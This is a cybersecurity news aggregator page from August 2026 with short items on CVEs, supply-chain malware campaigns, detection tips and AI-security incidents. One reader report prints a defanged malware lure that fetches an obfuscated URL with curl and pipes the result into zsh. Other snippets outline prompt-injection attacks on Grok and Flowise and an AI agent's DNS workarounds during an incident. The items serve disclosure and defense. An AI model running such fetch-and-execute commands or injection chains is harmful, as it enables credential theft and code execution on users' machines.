Adversa AI has disclosed an attack technique that it says can cause xAI's Grok chatbot to send a user's name, approximate location, subscription tier, and the prompts from the ongoing conversation to an attacker-controlled server after the user asks it to summarize an ordinary web page. The AI security company, which has codenamed the technique "Cryptographic Context Injection," said the
Cybersecurity News and Vulnerability Aggregator
Cybersecurity news aggregator
Updated: 1:40 pm
J/K Navigate / Search S Save V Open Link
— or
treemd <(curl -sL https://allsec.sh/md) (as Markdown) Top Cybersecurity Stories Today
Cybersecurity researchers have disclosed details of a critical flaw in the Elementor Pro WordPress plugin that, if successfully exploited, could lead to remote code execution. The vulnerability, tracked as CVE-2026-32475, carries a CVSS score of 9.0 out of 10.0. It has been described as a case of unrestricted upload of a file with a dangerous type. "The flaw lives in the Forms module's File
Latest
Friday, August 21
The familiar `vulners.nse` that many of you have used like this: `nmap -sV --script vulners <target>` finally got a proper update. It still does the same basic job: take what Nmap finds on a port and show the known vulnerabilities. But v2.0 is much better at it: * better software/version detection, including web apps and raw banners * 700+ fingerprint rules and 900+ HTTP paths * parallel probing that follows Nmap timing settings * cleaner output and proper machine-readable results * findings ranked by real-world risk: KEV, active exploitation, exploits, EPSS, then CVSS And the normal usage is still free, with no account or API key required. [https://github.com/vulnersCom/nmap-vulners/](https://github.com/vulnersCom/nmap-vulners/) Feedback on weird banners, false positives and missed fingerprints is very welcome.
Artificial Intelligence (AI) has become one of this decade's defining technologies. From healthcare and finance to manufacturing and education, organizations increasingly rely on AI to automate repetitive tasks, uncover patterns hidden within large datasets, and support faster decision-making. Cybersecurity has experienced a similar transformation. While attackers employ AI to automate
Sharing some detection angles from recent work on FTP banners being abused as dead drop resolvers, based on two RAT families we've been calling E4del and PINHOLE. On the network side, the interesting gap is that most orgs don't inspect FTP banner content at all; they just don't expect port 21 to be a delivery mechanism. Worth watching for LNK-spawned processes or shell scripts reaching out to external FTP endpoints, and flagging banners that contain encoded PowerShell or WebDAV-sourced rundll32 calls. On the endpoint side, for PINHOLE specifically: **→** Check for writes to %USERPROFILE%\\Downloads\\desktop.ini:bt or desktop.ini:ek that's where it's stashing config data in ADS **→** Suspended ApplicationFrameHost.exe processes getting an APC queued immediately after creation (NtQueueApcThread) is a strong signal for the injection technique it uses **→** Page permission toggling between PAGE\_READWRITE and PAGE\_EXECUTE\_READ, paired with trapped 0xC0000005 exceptions via VEH, is the fingerprint of its shellcode fluctuation approach A few host-level artifacts worth adding to hunt queries: u.cmd, calc.cab, and calc\_runner.cmd showing up in %TEMP%, signature mismatches on Discord.exe tied to a modified app.asar, and a Load value under HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows. Happy to go deeper on any of this if people are building detections around it. [**https://hubs.la/Q04tQxV30**](https://www.linkedin.com/safety/go/?url=https%3A%2F%2Fhubs%2Ela%2FQ04tQxV30&urlhash=rT3O&mt=cF-Lyo0C2jeHvynHbRiq6TjpLFNM4AZzxJfPnRg38X34R8tA9b79XvurThUxWvcGkd4ehywEirnyPCJXkWUABuwNwI_LUMNJgjS7lbc6Km1FwMFkCuoiBOSZW_phVnlhXER_kGfKpsWms2owFb9WHc49WRhz9qcv&isSdui=true)
Cisco has published another round of security updates for Crosswork platforms and Secure Workload Software as part of a continued comprehensive internal security review. Four of the security vulnerabilities affect Crosswork Data Gateway, Crosswork Network Controller, and Crosswork Planning, regardless of the device configuration. A brief description of each of the flaws is below -
Forty npm packages. About 84 minutes on the registry. And a payload that kept going after the packages were gone. CloudSEK traced **BRIDGEHEAD**, a typosquatting campaign impersonating chalk, axios, lodash, react, typescript and commander. The clever bit: the install script detects **WSL and uses it as a path into the underlying Windows host**, where it launches a native payload targeting crypto wallets, Chromium browser data and Telegram sessions. The GitHub-hosted payload stayed live for roughly **39 hours after the npm packages were taken down**. So the npm takedown removed the delivery layer, not the weapon. Full technical breakdown, IOCs and attack chain: [https://www.cloudsek.com/blog/bridgehead-npm-typosquatting-wsl-windows-crypto-wallet-stealer](https://www.cloudsek.com/blog/bridgehead-npm-typosquatting-wsl-windows-crypto-wallet-stealer) Would be interested to hear how many teams actually monitor the **WSL → Windows boundary** as part of their developer security controls.
A newly disclosed security flaw in GitLab has come under active exploitation within days of public disclosure, according to watchTowr. The vulnerability in question is CVE-2026-19478 (CVSS score: 9.4), a case of code injection that allows an unauthenticated attacker to modify or delete publicly accessible GitLab projects and rewrite their data under certain conditions without requiring
Microsoft on Thursday warned of a maximum-severity security flaw in Entra ID that it said has been exploited in the wild, but noted that no customer action is required. The vulnerability, tracked as CVE-2026-69836 (CVSS score: 10.0), is a case of remote code execution impacting the tech giant's cloud-based identity and access management service. It was previously called Azure Active Directory
[T-Mobile 'chopped a cable' to expel Chinese hackers from its network | TechCrunch](https://techcrunch.com/2026/08/19/t-mobile-chopped-a-cable-to-expel-chinese-hackers-from-its-network/)
I built an ML network detector, but the interesting part turned out to be everything after the model
I’ve been working on an open-source network-flow detection project and one thing became pretty obvious fairly early: getting a classifier to produce decent scores is not really the hard part. The harder question is what an analyst is supposed to do with thousands of individual detections. So I kept the project going past the model itself. The current pipeline takes CICFlowMeter-compatible flows, scores them, groups related alerts into incidents, and only promotes the incidents that cross a second threshold. On the locked future-day holdout, 79,710 flow alerts became 12,911 promoted incidents while keeping 99.93% incident recall. I’m deliberately not calling it production-ready. The holdout is still from the same network/dataset family, and the remaining workload is higher than I’d want for a real SOC queue. What I’m interested in now is how this kind of approach behaves outside the environment it was built around. Repo: [https://github.com/ibondarenko1/security-anomaly-ml](https://github.com/ibondarenko1/security-anomaly-ml?utm_source=chatgpt.com) If anyone here works with network-flow telemetry or ML-based IDS, I’d be interested in where you think the design will fail first in a real environment.
Thursday, August 20
The Rust Project has deleted malicious versions of three widely used Rust crates from crates.io after a compromised maintainer account published releases that added a typosquatted dependency whose build script downloaded and executed a remote payload during compilation. The affected releases are arrayref 0.3.10, internment 0.8.7, and append-only-vec 0.1.9, all published from the same owner
This week on “Uncanny Valley,” Andy Greenberg discusses sitting in on a war game simulating a cyberattack from the Chinese hacking group Volt Typhoon
Three distinct suspected Russian cyber espionage threat clusters have been observed leveraging legitimate authentication flows to single out individuals working in academia, aerospace and defense, governments, and think tanks across Europe, as well as academia and think tanks within the U.S. These clusters include UNC6293, UNC7005, and UNC5976. "These clusters engage in persistent, adaptive
A lot of this week’s trouble starts with something trusted doing exactly what it was allowed to do. Signed drivers get turned against defenses. Legitimate apps help malware blend in. A weak header check opens a path to code execution. Elsewhere, exposed systems, old bugs, odd hiding tricks, and AI-assisted exploit research keep lowering the effort needed to cause damage. Nothing here needs
Since June, developers have created thousands of third-party OAuth apps on Cloudflare , with more than a million authorizations since. OAuth makes delegated access possible. It lets applications act on a user’s behalf without asking them to handle long-lived credentials or hand over a password. That model works well when an application can describe its access needs with a small set of scopes. Developers use OAuth for SaaS integrations, internal tools, CLIs, and agents. Our permission model has become more granular over time to support better scoping of these different workflows. That is great for security, but it makes a purely all-or-nothing consent screen hard to justify. Cloudflare OAuth already allows clients to request a subset of their configured scopes. But once the client made that request, the user could not narrow it any further on the consent screen. For the user on the consent screen, the experience was still an all-or-nothing one. If an application requested more access than a user was comfortable granting, their only options were to approve the full request, or deny outright. MCP servers are a good example of this. An MCP server might request a broad set of permissions, because in theory an agent could use all of them. But most users would not want an agent to have that much access. Before this feature, the only way to handle this was for the app developer to build a custom scope selection screen before sending the user to our consent flow. Today, we’re introducing OAuth scope customization. Client owners can mark specific scopes as optional when configuring an OAuth client, giving users the ability to grant a narrower subset of an application’s requested access at authorization time. The OAuth spec already allows authorization servers to grant a narrower set of scopes than wh
The U.S. government on Wednesday warned of an "active threat" targeting critical infrastructure organizations in the country using artificial intelligence (AI)-generated exploit scripts. The activity is targeting Siemens S7 SeriesProgrammable Logic Controllers (PLCs) to conduct reconnaissance and capability development using AI-generated scripts disguised as legitimate monitoring tools. That
Adversa AI has disclosed an attack technique that it says can cause xAI's Grok chatbot to send a user's name, approximate location, subscription tier, and the prompts from the ongoing conversation to an attacker-controlled server after the user asks it to summarize an ordinary web page. The AI security company, which has codenamed the technique "Cryptographic Context Injection," said the
Most enterprises should treat annual penetration testing as a baseline, not a complete answer. PCI DSS is the one framework with an explicit annual and change-triggered mandate. SOC 2, the current HIPAA Security Rule, and ISO 27001 all expect testing to follow the organization's own risk assessment and control design, not one fixed calendar date. HHS has proposed an annual HIPAA pentesting requirement, but that rule has not been finalized. Enterprises that combine a formal annual assessment with change-triggered and continuous validation stay ahead of frameworks that were never designed around a single testing frequency. The post How Often Should Enterprises Run a Penetration Test? appeared first on Synack .
Cybersecurity researchers have disclosed a critical security flaw in isolated-vm, a popular open-source sandbox with more than 2,900 stars and 190 forks on GitHub, that could allow attackers to escape the confines of the isolated environment. The vulnerability ("GHSA-864f-rcv7-6rh4"), which has yet to be assigned a CVE identifier, impacts all versions of the library before and including 7.0.0.
Citrix has released updates to address two security flaws impacting NetScaler ADC and NetScaler Gateway deployments, including a critical-severity authentication bypass vulnerability. According to the cloud computing and virtualization technology company, the issues affect customer-managed NetScaler ADC and NetScaler Gateway, including certain FIPS and NDcPP builds, as well as SecurAccess
A now-patched security flaw impacting Zimbra Collaboration (ZCS) has come under active exploitation in the wild, according to the Polish Computer Emergency Response Team (CERT Polska). The vulnerability in question is CVE-2026-73570 (CVSS score: 8.9), which refers to a case of command injection that can lead to remote code execution. "A remote code execution vulnerability exists in Zimbra
Researchers at the University of Massachusetts Amherst have demonstrated an attack that revives expired Visa contactless credit cards for real in-store purchases by rewriting the expiration date a point-of-sale (POS) terminal reads over near-field communication (NFC), without breaking any of the card's cryptography. The attack, which the researchers named "Zombie Card," requires physical
In March 2026, an internal AI agent at Meta triggered a “Sev 1” incident after sensitive company and user data was exposed to employees who weren’t authorized to access it. The incident began when a Meta employee posted a technical question on an internal forum. An engineer used an approved AI agent to analyze it, but the agent posted its response publicly without approval. The employee
Cybersecurity researchers have disclosed two denial-of-service (DoS) attacks that exploit how major content delivery networks (CDNs) convert client-facing HTTP/3 traffic into HTTP/1.1 requests to the websites they front, amplifying a low-bandwidth request stream by up to 350x against the origin server. The attacks, collectively named "CDN Tsunami," were evaluated against Alibaba, Baidu,
Security researchers at Cycode have disclosed a chain of flaws in AIT-GUI, the browser-based operator console for NASA/JPL's open-source AMMOS Instrument Toolkit, that allow an unauthenticated attacker to issue arbitrary commands to the software's spacecraft and instrument command bus. The chain, tracked as GHSA-p9r8-2q67-fp86 and rated 9.4 on the CVSS v3.1 scoring system, impacts AIT-GUI
Cybersecurity researchers have shed light on an updated version of ToxicPanda (aka TgToxic) that comes with "significant enhancements," including a set of 167 remote commands and expands its targeting footprint globally. Zimperium zLabs, in a Wednesday report, said the Android malware also features a PIN harvesting workflow targeting more than 140 banking and cryptocurrency applications.
A set of 40 Mozilla Firefox extensions has been found to engage in cryptocurrency wallet theft by masquerading as OKX, Rabby Wallet, TronLink, and other Web3 products. According to the Socket Threat Research team, the extensions are part of a broader set of 77 browser add-ons that share source code and infrastructure overlaps. The campaign, dubbed Offside Wallet Theft Factory, is believed to
Cybersecurity researchers have disclosed details of a critical flaw in the Elementor Pro WordPress plugin that, if successfully exploited, could lead to remote code execution. The vulnerability, tracked as CVE-2026-32475, carries a CVSS score of 9.0 out of 10.0. It has been described as a case of unrestricted upload of a file with a dangerous type. "The flaw lives in the Forms module's File
Wednesday, August 19
strip --strip-all a binary and this still names functions by micro-executing them and matching the effect trace against a corpus. spot check: zlib corpus vs a fully stripped O0 build, it named 9 functions and all 9 were right, and it stays quiet on the ones it isn't sure about (no confident garbage on thunks). where byte sigs (FLIRT) die on recompile and CFG diffing gets fragile across opt levels, behavior holds up better. optimized-vs-optimized is still the hard case, i'm honest about that in the numbers. x86-64 only atm. [https://github.com/1rhino2/fnprint](https://github.com/1rhino2/fnprint)
Overview RDK Central RDK-B WebUI version, rdkb-2025q4-kirkstone, contains multiple vulnerabilities involving memory corruption, improper authentication, race conditions, and insufficient input validation. An attacker with network access to an affected WebUI may be able to bypass authentication, obtain administrative access, cause a denial-of-service condition, or corrupt memory within underlying RDK-B processes. Under certain conditions, this memory corruption may potentially be leveraged for arbitrary code execution. Description RDK-B (Reference Design Kit for Broadband) is an open-source software platform used in broadband gateways and related networking devices. The RDK-B WebUI provides a web-based interface for configuring and administering an RDK-B device. Five vulnerabilities have been identified in the RDK-B WebUI. CVE-2026-19505 JWT (JSON Web Token) authentication in javascript-templates/source/jst_functions.c does not correctly verify whether a token's cryptographic signature is valid. The application treats both a valid signature and an invalid signature as successful verification because it incorrectly checks the return value from OpenSSL's EVP_VerifyFinal() function. A remote, unauthenticated attacker can craft a JWT with an invalid signature that is still accepted by the WebUI. Successful exploitation allows the attacker to log in as the privileged user and gain administrative access to the device. CVE-2026-19506 The login process in /usr/www2/check.jst uses a shared value to store the result of password verification. Because this value is shared between multiple requests, the application may return one user's authentication result to another user's session. An unau
In 2021, we assessed remote Spectre attacks against Cloudflare Workers. Based on the results, we shipped a production defense called Dynamic Process Isolation (DyPrIs), which identifies maliciously looking scripts and isolates them into separate processes. Since then, newer techniques in the area of stabilizing Spectre attacks have been discovered. To understand if these techniques posed a threat to our Workers production environment, we decided to internally reassess the remote Spectre attack. Building an updated proof-of-concept on the production environment allowed us to empirically assess the risk of Spectre attacks under production workloads. To mount a successful side-channel attack in production, an external attacker has to overcome additional obstacles such as activity on shared hardware resources, interrupts, context switches, and coarse-grained timers. Our research uncovered a limitation in the implementation of DyPrIs and we managed to demonstrate a remote Spectre attack reliably leaking up to 12 bit/s with a 99% accuracy in the production environment of Cloudflare Workers. As a consequence of this research, we improved DyPrIs, integrated the V8 Sandbox and an in-process isolation mechanism to further reduce the risk of memory disclosure attacks. Today we are publishing a paper describing our findings, co-authored by Albert Pedersen, Haocheng Xiao, Sam Ainsworth, Nigel Topham, and Martin Schwarzl. This paper covers research done in 2024 and early 2025. Note that the presented attack is mitigated alread
AI pentesting works, but building it in-house is the hard part. Synack VP Chris Brown breaks down the reliability, token economics, model dependency and validation costs that come with building versus buying an AI pentesting capability. The post AI Pentesting Works. Building It Yourself Is the Hard Part. appeared first on Synack .
I finally found some time to organize my notes on secure boot, remote attestation, measured boot and in general embedded security. This is not ground breaking zero-day research but I figured some of you might like a good story. Good here is obviously subjective but I felt like it came out quite readable. This blog builds heavily on public research so as already stated at the end of article if you liked some particular section, show the respective person some love :) P.S.: yes I know the image is AI generated please don’t give me shit for that
The people-search tool ClarityCheck says its reverse image search service is “private and secure”—but it left a database containing more than 9 million image files exposed.
Flock’s surveillance cameras have already sparked outrage. WIRED reconstructed its next-generation AI system, already in use by some police, to confirm it goes much further than tracking license plates.
Three variations on subversive use of DNS by the Agent are documented in Hugging Face's technical writeup of the July 2026 security incident involving OpenAI models. In this article, I discuss what each of these three types of DNS workarounds achieve in practice, the constraints an actor might have faced to attempt a particular one, and additional benefits from choosing each.
We tested Sonnet 5, Composer 2.5, and GPT 5.5 in plan mode and default mode to see whether plan mode produces measurably more secure code.
Tuesday, August 18
The ChatGPT maker says its upcoming Astra model may have reached “critical” cyber capabilities, prompting it to halt a significant number of training runs while it tightens internal safeguards.
Route leaks push traffic down paths it was never meant to take. We have written and spoken publicly in the past about route leaks in Border Gateway Protocol (BGP) , depicting these events as impactful incidents that cause misdirection of traffic through unintended network paths. BGP routing is driven by the relationships between Autonomous Systems (ASes), i.e., customer-provider and peer-peer. Customers pay providers for access to the rest of the Internet, while peers exchange traffic with one another typically under a “settlement-free” arrangement where no money changes hands. These relationships help define routing rules that form plausible paths. For example, the rules form a “valley-free” hierarchy of how routes should propagate: a route learned from a provider or a peer should be announced only downward to customers, never back up to another provider or peer. Rules like this express an intent or expectation about Internet routes. A route leak is what happens when that intent is violated. Historically, each network has had to implement this intent on its own, using complex, error-prone routing policies
One advertisement featured a pornographic video with a deepfake closely resembling a prominent US politician. Apple removed the app from the App Store after an inquiry from WIRED.
Author here. I audited NocoBase, Flowise, Langflow, Dify, Activepieces, Kestra, and Airflow and disclosed 14 findings. Every platform inherited the same assumption anyone who can touch a workflow is trusted to run code on the host, which is fine for a dev tool on your laptop but not fine for a multi-tenant HTTP service with an unauthenticated webhook. The chain I'd point people to first is the Flowise one (section 2.2): an unauthenticated request → prompt injection → LLM emits Python → a 38-pattern regex blocklist passes it because the dangerous library was pre-imported before the model was asked anything → RCE. Two vendors closed their reports as working-as-intended, and I tried to represent their position fairly. This research was also presented at DEFCON 34 but now available publicly. Happy to answer questions. Full whitepaper is available here: [https://www.endorlabs.com/learn/how-ai-orchestration-platforms-ship-rce-by-design](https://www.endorlabs.com/learn/how-ai-orchestration-platforms-ship-rce-by-design)
Proton’s CEO is a champion of encryption for everyone. So why is he going all in on un-encryptable AI?
After Noel Pichardo called out his city's embrace of Flock surveillance cameras, he was subjected to five internal affairs investigations in less than two years.
Presently sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite The current ransomware situation is a bit of a kludge (deep breath): a lot of ransomware (which often doesn't even involve "ware", it's just extortion) is carried out by kids who successfully make a truckload of money but can't spend it without getting caught and the companies they breach rapidly get piled onto by class action lawyers that keeps them busy fighting and being cautious not to say anyting to customers lest that then gets used against them in litigation. That's mostly it; more in this week's video:
Monday, August 17
Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex. A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64. https://preview.redd.it/v31atwx50xjh1.png?width=1108&format=png&auto=webp&s=6cb2d317c7fd455e75c67cec9e33085cf3a888c9 **Defanged example, do not execute:** echo "npm install -g u/openai/codex https://openai.com/codex/" && curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh The Base64 value decoded to: hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json The interesting part is the delivery pattern: Sponsored search result ↓ Fake Codex installation page ↓ Legitimate-looking OpenAI text printed with echo ↓ Base64-obfuscated unrelated domain ↓ curl response piped directly into zsh I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence. The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to: /opt/homebrew/Caskroom/codex/0.147.0/bin/codex The binary is signed: Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2) So the malicious component appears to be specifically the separately downloaded `quill-flint[.]com` shell payload. Has anyone tracking current macOS malware seen: quill-flint[.]com /curl/<id>/<id>.json or this exact Codex-themed lure? I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain. I can provide more sanitized timestamps and filesystem observations if useful for analysis.
To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have better luck on the [Reverse Engineering StackExchange](http://reverseengineering.stackexchange.com/). See also /r/AskReverseEngineering.
Today, we’re introducing a redesigned GreyNoise Visualizer that makes it easier to navigate those capabilities and brings related workflows together in one place.
Sunday, August 16
Reverse Engineering CVE-2026-6837: From Zyxel Firmware to Root Command Execution with full firmware emulation
Saturday, August 15
Friday, August 14
At a press conference outside Madison Square Garden, politicians, musicians, and privacy advocates argued for tighter restrictions on how public venues deploy biometric surveillance.